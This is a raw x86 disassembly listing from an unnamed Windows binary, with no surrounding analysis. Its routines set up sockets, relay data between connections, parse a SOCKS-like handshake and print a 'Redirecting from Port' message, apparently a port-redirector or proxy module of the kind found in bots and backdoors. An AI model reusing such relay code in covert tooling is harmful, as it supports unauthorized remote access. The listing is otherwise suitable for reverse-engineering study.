dd 40248C89h, 66000002h, 44248C89h, 51000002h, 88565250h
dd 256248Ch, 0D3FF0000h, 26A006Ah, 44731068h, 8BE85600h
dd 90716886h, 1024448Dh, 30244C8Dh, 6A006A50h, 16A5100h
dd 282444C7h, 0
; ---------------------------------------------------------------------------
mov [esp+82Ch+var_808], 7
mov [esp+82Ch+var_7E4], esi
mov [esp+82Ch+var_7E8], 1
call edi
xor eax, eax
lea edx, [esp+82Ch+var_5F0]
push eax
mov ecx, 20h
lea edi, [esp+830h+var_5F0]
push 2
push edx
push esi
rep stosd
call ebx
cmp byte ptr [esp+83Ch+var_600], 1
jnz loc_42BDBA
movsx eax, byte ptr [esp+83Ch+var_600+1]
push 0
lea ecx, [esp+840h+var_200]
push eax
push ecx
push esi
call ebx
movsx edx, byte ptr [esp+83Ch+var_600+1]
push 0
lea eax, [esp+840h+var_600]
push 1
push eax
push esi
mov [esp+edx+84Ch+var_200], 0
call ebx
movsx ecx, byte ptr [esp+83Ch+var_600]
push 0
lea edx, [esp+840h+var_100]
push ecx
push edx
push esi
call ebx
movsx eax, byte ptr [esp+83Ch+var_600]
mov ecx, [ebp-8]
mov [esp+eax+83Ch+var_100], 0
mov ecx, [ecx+4]
add ecx, ebp
call sub_4017EE
mov edi, eax
lea ecx, [esp+83Ch+var_200]
loc_42BCCB: ; CODE XREF: sub_42BB00+1E9j
mov dl, [ecx]
mov al, dl
cmp dl, [edi]
jnz short loc_42BCEF
test al, al
jz short loc_42BCEB
mov dl, [ecx+1]
mov al, dl
cmp dl, [edi+1]
jnz short loc_42BCEF
add ecx, 2
add edi, 2
test al, al
jnz short loc_42BCCB
loc_42BCEB: ; CODE XREF: sub_42BB00+1D5j
xor eax, eax
jmp short loc_42BCF4
; ---------------------------------------------------------------------------
loc_42BCEF: ; CODE XREF: sub_42BB00+1D1j
; sub_42BB00+1DFj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_42BCF4: ; CODE XREF: sub_42BB00+1EDj
test eax, eax
jz short loc_42BD51
mov eax, [ebp-8]
mov ecx, [eax+4]
lea ecx, [ecx+ebp+15h]
call sub_4017EE
lea edi, [esp+83Ch+var_100]
loc_42BD0E: ; CODE XREF: sub_42BB00+22Cj
mov dl, [edi]
mov cl, dl
cmp dl, [eax]
jnz short loc_42BD32
test cl, cl
jz short loc_42BD2E
mov dl, [edi+1]
mov cl, dl
cmp dl, [eax+1]
jnz short loc_42BD32
add edi, 2
add eax, 2
test cl, cl
jnz short loc_42BD0E
loc_42BD2E: ; CODE XREF: sub_42BB00+218j
xor eax, eax
jmp short loc_42BD37
; ---------------------------------------------------------------------------
loc_42BD32: ; CODE XREF: sub_42BB00+214j
; sub_42BB00+222j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_42BD37: ; CODE XREF: sub_42BB00+230j
test eax, eax
jz short loc_42BD51
push esi
nop
call near ptr 71AB9639h
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 82Ch
retn 4
; ---------------------------------------------------------------------------
loc_42BD51: ; CODE XREF: sub_42BB00+1F6j
; sub_42BB00+239j
mov edi, dword_511CA0
push 0
push 2
push offset dword_44730C
push esi
call edi
lea eax, [esp+83Ch+var_82C]
lea ecx, [esp+83Ch+var_80C]
push eax
push 0
push 0
push ecx
push 1
mov [esp+850h+var_808], esi
mov [esp+850h+var_80C], 1
call near ptr 71AB2DC0h
nop
lea edx, [esp+83Ch+var_80C]
push edx
push esi
call sub_438256
; ---------------------------------------------------------------------------
test eax, eax
jz short loc_42BDBA
push 0
lea eax, [esp+840h+var_708]
push 4
push eax
push esi
call ebx
mov eax, [esp+83Ch+var_705]
and eax, 0FFh
dec eax
jz short loc_42BE21
sub eax, 2
jz short loc_42BDC9
dec eax
loc_42BDB8: ; CODE XREF: sub_42BB00+31Fj
jnz short loc_42BE30
loc_42BDBA: ; CODE XREF: sub_42BB00+32j
; sub_42BB00+154j ...
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 82Ch
retn 4
; ---------------------------------------------------------------------------
loc_42BDC9: ; CODE XREF: sub_42BB00+2B5j
push 0
lea ecx, [esp+840h+var_600]
push 1
push ecx
push esi
call ebx
movsx edx, byte ptr [esp+83Ch+var_600]
push 0
lea eax, [esp+840h+var_705+1]
push edx
push eax
push esi
call ebx
movsx ecx, byte ptr [esp+83Ch+var_600]
lea edx, [esp+83Ch+var_600]
lea eax, [esp+83Ch+var_705+1]
mov byte ptr [esp+ecx+83Ch+var_705+1], 0
mov ecx, [ebp-8]
push edx
push eax
mov edx, [ecx+4]
lea ecx, [edx+ebp-8]
call sub_401758
test al, al
jmp short loc_42BDB8
; ---------------------------------------------------------------------------
loc_42BE21: ; CODE XREF: sub_42BB00+2B0j
push 0
lea eax, [esp+840h+var_600]
push 4
push eax
push esi
call ebx
loc_42BE30: ; CODE XREF: sub_42BB00:loc_42BDB8j
push 0
lea ecx, [esp+840h+var_604]
push 2
push ecx
push esi
call ebx
cmp [esp+83Ch+var_707], 1
jnz loc_42BDBA
mov ebx, [esp+83Ch+var_820]
mov dx, [esp+83Ch+var_604]
mov eax, [esp+83Ch+var_600]
lea ecx, [esp+83Ch+var_81C]
push 10h
push ecx
push ebx
mov word ptr [esp+848h+var_81C], 2
mov [esp+848h+var_81A], dx
mov [esp+848h+var_818], eax
nop
call near ptr 71AB406Ah
test eax, eax
jnz loc_42BDBA
push eax
push 4
push offset dword_447304
push esi
call edi
push 0
lea edx, [esp+840h+var_600]
push 4
push edx
push esi
call edi
push 0
lea eax, [esp+840h+var_604]
push 2
push eax
push esi
call edi
mov ecx, [ebp-8]
push ebx
push esi
mov edx, [ecx+4]
lea ecx, [edx+ebp-8]
call sub_4020E0
push ebx
nop
call near ptr 71AB9639h
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 82Ch
retn 4
; ---------------------------------------------------------------------------
loc_42BED6: ; CODE XREF: sub_42BB00+47j
cmp ax, 2
jnz loc_42BF63
mov ebx, dword_511C94
loc_42BEE6: ; CODE XREF: sub_42BB00+461j
lea eax, [esp+83Ch+var_82C]
lea ecx, [esp+83Ch+var_80C]
push eax
push 0
push 0
push ecx
push 1
mov [esp+850h+var_808], esi
mov [esp+850h+var_80C], 1
call ebx
lea edx, [esp+83Ch+var_824]
lea eax, [esp+83Ch+var_81C]
push edx
push eax
push 0
lea ecx, [esp+848h+var_600]
push 3FFh
push ecx
push esi
mov [esp+854h+var_824], 10h
call near ptr 71AB2D0Fh
nop
mov ecx, [ebp-8]
mov edi, eax
lea edx, [esp+83Ch+var_600]
push edi
push edx
mov edx, [ecx+4]
lea eax, [esp+844h+var_81C]
push eax
lea ecx, [edx+ebp-8]
call sub_401C30
test edi, edi
jz short loc_42BF63
cmp edi, 0FFFFFFFFh
jz short loc_42BF63
lea eax, [esp+83Ch+var_80C]
push eax
push esi
call sub_438256
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_42BEE6
loc_42BF63: ; CODE XREF: sub_42BB00+67j
; sub_42BB00+3DAj ...
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 82Ch
retn 4
sub_42BB00 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 120h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42C0A0 proc near ; CODE XREF: sub_401F37j
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
sub esp, 10h
push esi
mov esi, ecx
mov eax, [esi+32h]
test eax, eax
jz short loc_42C0B4
xor al, al
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_42C0B4: ; CODE XREF: sub_42C0A0+Bj
xor eax, eax
mov ax, [esi+6]
dec eax
jz short loc_42C0C6
dec eax
jz short loc_42C0E8
mov word ptr [esi+6], 1
loc_42C0C6: ; CODE XREF: sub_42C0A0+1Bj
mov eax, 1
mov ecx, 6
loc_42C0D0: ; CODE XREF: sub_42C0A0+52j
push ecx
push eax
push 2
nop
call near ptr 71AB3B91h
test eax, eax
mov [esi+32h], eax
jnz short loc_42C0F4
xor al, al
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_42C0E8: ; CODE XREF: sub_42C0A0+1Ej
mov eax, 2
mov ecx, 11h
jmp short loc_42C0D0
; ---------------------------------------------------------------------------
loc_42C0F4: ; CODE XREF: sub_42C0A0+3Fj
mov ax, [esi+4]
mov [esp+14h+var_10], 2
push eax
mov [esp+18h+var_C], 0
call near ptr 71AB2B66h
nop
mov edx, [esi+32h]
lea ecx, [esp+14h+var_10]
push 10h
push ecx
push edx
mov [esp+20h+var_E], ax
call near ptr 71AB3E00h
nop
test eax, eax
jz short loc_42C139
mov eax, [esi+32h]
push eax
nop
call near ptr 71AB9639h
xor al, al
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_42C139: ; CODE XREF: sub_42C0A0+86j
cmp word ptr [esi+6], 1
jnz short loc_42C161
mov ecx, [esi+32h]
push 3
push ecx
nop
call near ptr 71AB88D3h
test eax, eax
jz short loc_42C161
mov edx, [esi+32h]
push edx
nop
call near ptr 71AB9639h
xor al, al
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_42C161: ; CODE XREF: sub_42C0A0+9Ej
; sub_42C0A0+AEj
mov al, 1
pop esi
add esp, 10h
retn
sub_42C0A0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C1B0 proc near ; CODE XREF: sub_401DD4j
var_24 = byte ptr -24h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_42C1B0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push esi
push edi
mov edi, ecx
mov [ebp+var_10], esp
mov ax, [edi+6]
cmp ax, 1
jnz short loc_42C24A
mov eax, [edi+32h]
mov [ebp+var_14], 10h
test eax, eax
jz short loc_42C231
mov ebx, dword_511C98
lea ecx, [ebp+var_14]
lea edx, [ebp+var_24]
push ecx
push edx
push eax
call ebx
mov esi, eax
test esi, esi
jnz short loc_42C216
loc_42C202: ; CODE XREF: sub_42C1B0+64j
mov edx, [edi+32h]
lea eax, [ebp+var_14]
lea ecx, [ebp+var_24]
push eax
push ecx
push edx
call ebx
mov esi, eax
test esi, esi
jz short loc_42C202
loc_42C216: ; CODE XREF: sub_42C1B0+50j
mov eax, [edi]
push esi
mov ecx, edi
mov [ebp+var_4], 0
call dword ptr [eax]
push esi
mov bl, al
nop
call near ptr 71AB9639h
test bl, bl
jnz short loc_42C26A
loc_42C231: ; CODE XREF: sub_42C1B0+39j
; sub_42C1B0+9Ej ...
xor al, al
mov ecx, [ebp+var_C]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42C244: ; DATA XREF: ___:00442FACo
mov eax, offset loc_42C231
retn
; ---------------------------------------------------------------------------
loc_42C24A: ; CODE XREF: sub_42C1B0+2Bj
cmp ax, 2
jnz short loc_42C231
mov eax, [edi+32h]
mov edx, [edi]
push eax
mov ecx, edi
call dword ptr [edx]
mov ecx, [edi+32h]
mov bl, al
push ecx
nop
call near ptr 71AB9639h
test bl, bl
jz short loc_42C231
loc_42C26A: ; CODE XREF: sub_42C1B0+7Fj
mov ecx, [ebp+var_C]
pop edi
pop esi
mov al, 1
mov large fs:0, ecx
pop ebx
mov esp, ebp
pop ebp
retn
sub_42C1B0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42C2C0: ; CODE XREF: ___:00401F96j
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset loc_43CEB0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ebx
push esi
mov esi, [ebp+8]
push edi
mov [ebp-10h], esp
mov dword ptr [ebp-4], 0
mov eax, [esi]
mov ecx, [eax+4]
mov eax, [ecx+esi+32h]
add ecx, esi
push eax
mov edx, [ecx]
call dword ptr [edx]
mov ecx, [esi]
mov edx, [ecx+4]
mov eax, [edx+esi+32h]
push eax
nop
call near ptr 71AB9639h
loc_42C309: ; DATA XREF: ___:loc_42C321o
mov ecx, [ebp-0Ch]
pop edi
pop esi
mov eax, 1
mov large fs:0, ecx
pop ebx
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
loc_42C321: ; DATA XREF: ___:0044300Co
mov eax, offset loc_42C309
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42C350 proc near ; CODE XREF: sub_401C2Bj
var_19C = byte ptr -19Ch
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_4 = byte ptr 8
arg_1C = byte ptr 20h
push 0FFFFFFFFh
push offset SEH_42C350
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 194h
lea eax, [esp+1A0h+var_19C]
mov [esp+1A0h+var_4], 1
push eax
push 2
call near ptr 71AB664Dh
nop
test eax, eax
jz short loc_42C3C7
loc_42C387: ; CODE XREF: ___:0042C456j
lea ecx, [esp+1A0h+arg_4]
mov byte ptr [esp+1A0h+var_4], 0
call sub_401226
lea ecx, [esp+1A0h+arg_1C]
mov [esp+1A0h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+1A0h+var_C]
mov large fs:0, ecx
add esp, 1A0h
retn
; ---------------------------------------------------------------------------
loc_42C3C7: ; CODE XREF: sub_42C350+35j
push 42h
call sub_437AEA
sub_42C350 endp
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+0], eax
test eax, eax
mov byte ptr [esp+19Ch], 2
jz short loc_42C3EC
push 1
mov ecx, eax
call sub_4014F1
jmp short loc_42C3EE
; ---------------------------------------------------------------------------
loc_42C3EC: ; CODE XREF: ___:0042C3DFj
xor eax, eax
loc_42C3EE: ; CODE XREF: ___:0042C3EAj
mov dword_5103B4, eax
mov ecx, [eax]
mov byte ptr [esp+19Ch], 1
mov edx, [ecx+4]
mov cx, [esp+1A4h]
mov [edx+eax+4], cx
mov eax, dword_5103B4
lea edx, [esp+1A8h]
mov ecx, [eax]
push edx
mov edx, [ecx+4]
lea ecx, [edx+eax+8]
call sub_40202C
lea eax, [esp+1C0h]
push eax
mov eax, dword_5103B4
mov ecx, [eax]
mov edx, [ecx+4]
lea ecx, [edx+eax+1Dh]
call sub_40202C
mov eax, dword_5103B4
mov ecx, [eax]
mov ecx, [ecx+4]
add ecx, eax
call sub_401F37
test al, al
jz loc_42C387
loc_42C45C: ; CODE XREF: ___:0042C46Dj
mov eax, dword_5103B4
mov edx, [eax]
mov ecx, [edx+4]
add ecx, eax
call sub_401DD4
jmp short loc_42C45C
; ---------------------------------------------------------------------------
db 90h
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42C4C0 proc near ; CODE XREF: sub_4014F1j
var_4 = dword ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
test eax, eax
mov esi, ecx
mov [esp+8+var_4], 0
jz short loc_42C4E2
lea ecx, [esi+8]
mov dword ptr [esi], offset dword_43F190
call sub_4014B5
loc_42C4E2: ; CODE XREF: sub_42C4C0+12j
mov eax, [esi]
mov ecx, [eax+4]
mov dword ptr [ecx+esi], offset off_43F18C
mov edx, [esi]
mov eax, [edx+4]
lea ecx, [eax-8]
mov [eax+esi-4], ecx
mov eax, esi
pop esi
pop ecx
retn 4
sub_42C4C0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42C530 proc near ; CODE XREF: sub_4014B5j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_42C530
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+8]
call sub_40142E
lea ecx, [esi+1Dh]
mov [esp+14h+var_4], 0
call sub_40142E
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43F19C
mov dword ptr [esi+32h], 0
mov word ptr [esi+6], 1
mov word ptr [esi+4], 0
mov dword ptr [esi+36h], 1000h
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_42C530 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42C5C0 proc near ; CODE XREF: sub_4020EFj
; FUNCTION CHUNK AT 004013A2 SIZE 00000005 BYTES
sub ecx, [ecx-4]
jmp loc_4013A2
sub_42C5C0 endp
; ---------------------------------------------------------------------------
align 10h
loc_42C5D0: ; CODE XREF: ___:00401352j
push 0FFFFFFFFh
push offset loc_43CF28
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+4], esi
call sub_401FA0
push offset off_444D6C
lea ecx, [esi+11h]
mov dword ptr [esp+14h], 0
mov dword ptr [esi], offset off_43F1A0
call sub_4015E1
mov ecx, [esp+8]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42C640 proc near ; CODE XREF: ___:00401398j sub_401F5Fj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_4011BD
test [esp+4+arg_0], 1
jz short loc_42C658
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_42C658: ; CODE XREF: sub_42C640+Dj
mov eax, esi
pop esi
retn 4
sub_42C640 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_42C670 proc near ; CODE XREF: sub_4011BDj
jmp sub_4017A8
sub_42C670 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42C690: ; CODE XREF: ___:loc_40134Dj
mov eax, 1000h
call sub_437B30
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, [esi+99h]
mov cl, [eax+11Ch]
test cl, cl
jz short loc_42C71C
mov ebx, dword_511CA4
mov ebp, dword_511CA0
loc_42C6BC: ; CODE XREF: ___:0042C71Aj
mov edx, [esi+9Dh]
mov ecx, 400h
xor eax, eax
lea edi, [esp+10h]
rep stosd
push eax
mov eax, [edx+0A5h]
lea ecx, [esp+14h]
push 1000h
push ecx
push eax
call ebx
test eax, eax
jz short loc_42C71C
cmp eax, 0FFFFFFFFh
jz short loc_42C71C
mov edx, [esi+9Dh]
push 0
push eax
lea ecx, [esp+18h]
mov eax, [edx+0A1h]
push ecx
push eax
call ebp
test eax, eax
jz short loc_42C71C
cmp eax, 0FFFFFFFFh
jz short loc_42C71C
mov ecx, [esi+99h]
mov al, [ecx+11Ch]
test al, al
jnz short loc_42C6BC
loc_42C71C: ; CODE XREF: ___:0042C6AEj
; ___:0042C6E5j ...
mov edx, [esi+9Dh]
pop edi
pop esi
pop ebp
mov eax, [edx+0A1h]
pop ebx
cmp eax, 0FFFFFFFFh
jz short loc_42C738
push eax
nop
call near ptr 71AB9639h
loc_42C738: ; CODE XREF: ___:0042C72Fj
add esp, 1000h
retn
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42C770 proc near ; CODE XREF: sub_40166Dj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_42C770
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401FA0
push offset off_444D6C
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43F1B0
call sub_4015E1
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_42C770 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42C7E0 proc near ; CODE XREF: ___:004013A7j sub_401B36j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401217
test [esp+4+arg_0], 1
jz short loc_42C7F8
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_42C7F8: ; CODE XREF: sub_42C7E0+Dj
mov eax, esi
pop esi
retn 4
sub_42C7E0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_42C810 proc near ; CODE XREF: sub_401217j
jmp sub_4017A8
sub_42C810 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42C830 proc near ; CODE XREF: sub_401537j
var_50 = byte ptr -50h
var_40 = byte ptr -40h
var_30 = byte ptr -30h
var_28 = dword ptr -28h
var_20 = byte ptr -20h
var_1C = dword ptr -1Ch
var_C = byte ptr -0Ch
var_A = word ptr -0Ah
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, 1014h
call sub_437B30
push ebx
push ebp
push esi
mov esi, ecx
push edi
or edi, 0FFFFFFFFh
mov eax, [esi+99h]
mov [esi+0A5h], edi
mov cl, [eax+11Ch]
test cl, cl
jz loc_42C9FA
mov ebx, 1
push 6
push ebx
push 2
nop
call near ptr 71AB3B91h
cmp eax, edi
mov [esi+0A5h], eax
jnz short loc_42C888
mov [esi+0A5h], edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 1014h
retn
; ---------------------------------------------------------------------------
loc_42C888: ; CODE XREF: sub_42C830+45j
mov dx, [esi+3Fh]
xor ecx, ecx
mov [esp+1Ch+var_8], ecx
push edx
mov [esp+20h+var_4], ecx
mov word ptr [esp+20h+var_8], 2
mov [esp+20h], ecx
mov [esp+20h+arg_0], ecx
nop
call near ptr 71AB2B66h
lea ecx, [esi+43h]
mov [esp+20h+var_A], ax
call sub_4017EE
push eax
call sub_40188E
add esp, 4
cmp eax, edi
mov [esp+20h+var_8], eax
jnz short loc_42C8E2
mov eax, [esi+0A5h]
push eax
nop
call near ptr 71AB9639h
pop edi
pop esi
pop ebp
pop ebx
add esp, 1014h
retn
; ---------------------------------------------------------------------------
loc_42C8E2: ; CODE XREF: sub_42C830+98j
mov edx, [esi+0A5h]
lea ecx, [esp+20h+var_C]
push 10h
push ecx
push edx
nop
call near ptr 71AB406Ah
cmp eax, edi
jnz short loc_42C912
mov eax, [esi+0A5h]
push eax
nop
call near ptr 71AB9639h
pop edi
pop esi
pop ebp
pop ebx
add esp, 1014h
retn
; ---------------------------------------------------------------------------
loc_42C912: ; CODE XREF: sub_42C830+C8j
mov edx, [esi+0A1h]
mov edi, dword_511CAC
lea ecx, [esp+2Ch+var_1C]
mov [esp+2Ch+var_1C], ebx
push ecx
push 8004667Eh
push edx
call edi
mov ecx, [esi+0A5h]
lea eax, [esp+38h+var_28]
push eax
push 8004667Eh
push ecx
mov [esp+44h+var_28], ebx
call edi
mov edx, [esi+99h]
mov al, [edx+11Ch]
test al, al
jz loc_42C9FA
mov ebx, dword_511CA4
mov ebp, dword_511CA0
loc_42C966: ; CODE XREF: sub_42C830+1BAj
mov ecx, [esi+0A5h]
push 0
lea eax, [esp+48h+var_20]
push 1000h
push eax
push ecx
call ebx
mov edi, eax
test edi, edi
jz short loc_42C9FA
jge short loc_42C990
nop
call near ptr 71AB94DCh
cmp eax, 2733h
jnz short loc_42C9F2
loc_42C990: ; CODE XREF: sub_42C830+151j
mov eax, [esi+0A1h]
push 0
lea edx, [esp+58h+var_30]
push edi
push edx
push eax
call ebp
mov edx, [esi+0A1h]
push 0
lea ecx, [esp+68h+var_40]
push 1000h
push ecx
push edx
call ebx
mov edi, eax
test edi, edi
jz short loc_42C9FA
jge short loc_42C9CB
nop
call near ptr 71AB94DCh
cmp eax, 2733h
jnz short loc_42C9F2
loc_42C9CB: ; CODE XREF: sub_42C830+18Cj
mov ecx, [esi+0A5h]
push 0
lea eax, [esp+78h+var_50]
push edi
push eax
push ecx
call ebp
mov edx, [esi+99h]
mov al, [edx+11Ch]
test al, al
jnz loc_42C966
jmp short loc_42C9FA
; ---------------------------------------------------------------------------
loc_42C9F2: ; CODE XREF: sub_42C830+15Ej
; sub_42C830+199j
push 0Ah
nop
call near ptr 2831CE8h
loc_42C9FA: ; CODE XREF: sub_42C830+27j
; sub_42C830+124j ...
mov eax, [esi+0A1h]
mov edi, dword_511C9C
cmp eax, 0FFFFFFFFh
jz short loc_42CA0E
push eax
call edi
loc_42CA0E: ; CODE XREF: sub_42C830+1D9j
mov esi, [esi+0A5h]
cmp esi, 0FFFFFFFFh
jz short loc_42CA1C
push esi
call edi
loc_42CA1C: ; CODE XREF: sub_42C830+1E7j
pop edi
pop esi
pop ebp
pop ebx
add esp, 1014h
retn
sub_42C830 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 80h dup(0CCh)
db 6Ah ; j
db 0FFh
db 68h ; h
db 68h ; h
db 0CFh ;
db 43h ; C
db 0
db 64h ; d
db 0A1h ;
db 0
db 0
db 0
db 0
db 50h ; P
db 64h ; d
db 89h ;
db 25h ; %
db 0
db 0
db 0
db 0
db 51h ; Q
db 56h ; V
db 8Bh ;
db 0F1h ;
db 89h ;
db 74h ; t
db 24h ; $
db 4
db 0E8h ;
db 0CEh ;
db 54h ; T
db 0FDh ;
db 0FFh
db 68h ; h
db 6Ch ; l
db 4Dh ; M
db 44h ; D
db 0
db 8Dh ;
db 4Eh ; N
db 11h
db 0C7h ;
db 44h ; D
db 24h ; $
db 14h
db 0
db 0
db 0
db 0
db 0C7h ;
db 6
db 0C0h ;
db 0F1h ;
db 43h ; C
db 0
db 0E8h ;
db 0F4h ;
db 4Ah ; J
db 0FDh ;
db 0FFh
db 8Bh ;
db 4Ch ; L
db 24h ; $
db 8
db 8Bh ;
db 0C6h ;
db 5Eh ; ^
db 64h ; d
db 89h ;
db 0Dh
db 0
db 0
db 0
db 0
db 83h ;
db 0C4h ;
db 10h
db 0C3h ;
db 90h
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42CB20: ; CODE XREF: ___:loc_4015FAj
; ___:00401FC8j
push esi
mov esi, ecx
call sub_401B9F
test byte ptr [esp+8], 1
jz short loc_42CB38
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_42CB38: ; CODE XREF: ___:0042CB2Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_42CB50 proc near ; CODE XREF: sub_401B9Fj
jmp sub_4017A8
sub_42CB50 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42CB70 proc near ; CODE XREF: sub_4019F1j
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_C = dword ptr -0Ch
var_4 = dword ptr -4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_42CB70
push eax
mov large fs:0, esp
sub esp, 28h
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, [esi+3Fh]
lea ebx, [esi+43h]
push eax
mov ecx, ebx
lea edi, [esi+11h]
lea ebp, [esi+26h]
call sub_4017EE
mov ecx, [esi+3Bh]
push eax
push ecx
mov ecx, edi
call sub_4017EE
push eax
push offset aSRedirectingFr ; "[%s] Redirecting from Port %d to '%s:%d"...
mov ecx, ebp
call sub_4014DD
mov dl, [esi+98h]
push eax
mov al, [esi+97h]
push edx
push eax
push offset byte_4D8085
call sub_401857
add esp, 24h
push 6
push 1
push 2
nop
call near ptr 71AB3B91h
cmp eax, 0FFFFFFFFh
mov [esi+9Dh], eax
jz loc_42CDA8
mov dx, [esi+3Bh]
xor ecx, ecx
mov [esp+44h+var_2C], ecx
push edx
mov [esp+48h+var_28], ecx
mov word ptr [esp+48h+var_2C], 2
mov [esp+48h+var_24], ecx
mov [esp+48h+var_20], ecx
nop
call near ptr 71AB2B66h
mov ecx, [esi+9Dh]
mov word ptr [esp+44h+var_2C+2], ax
lea eax, [esp+44h+var_2C]
push 10h
push eax
push ecx
mov [esp+50h+var_34], 10h
nop
call near ptr 71AB3E00h
test eax, eax
jz short loc_42CC5B
mov edx, [esi+9Dh]
push edx
nop
call near ptr 71AB9639h
pop edi
pop esi
pop ebp
pop ebx
mov ecx, [esp+34h+var_C]
mov large fs:0, ecx
add esp, 34h
retn
; ---------------------------------------------------------------------------
loc_42CC5B: ; CODE XREF: sub_42CB70+C9j
mov eax, [esi+99h]
mov cl, [eax+11Ch]
test cl, cl
jz loc_42CD54
loc_42CC6F: ; CODE XREF: sub_42CB70+1DEj
mov ecx, [esi+9Dh]
push 0Ah
push ecx
nop
call near ptr 71AB88D3h
cmp eax, 0FFFFFFFFh
jz loc_42CD35
mov ecx, [esi+9Dh]
lea edx, [esp+44h+var_34]
lea eax, [esp+44h+var_1C]
push edx
push eax
push ecx
call near ptr 71AC1028h
nop
mov ebp, eax
cmp ebp, 0FFFFFFFFh
jz loc_42CD35
xor edi, edi
cmp ebp, edi
jz loc_42CD35
push 0A9h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+44h+var_30], eax
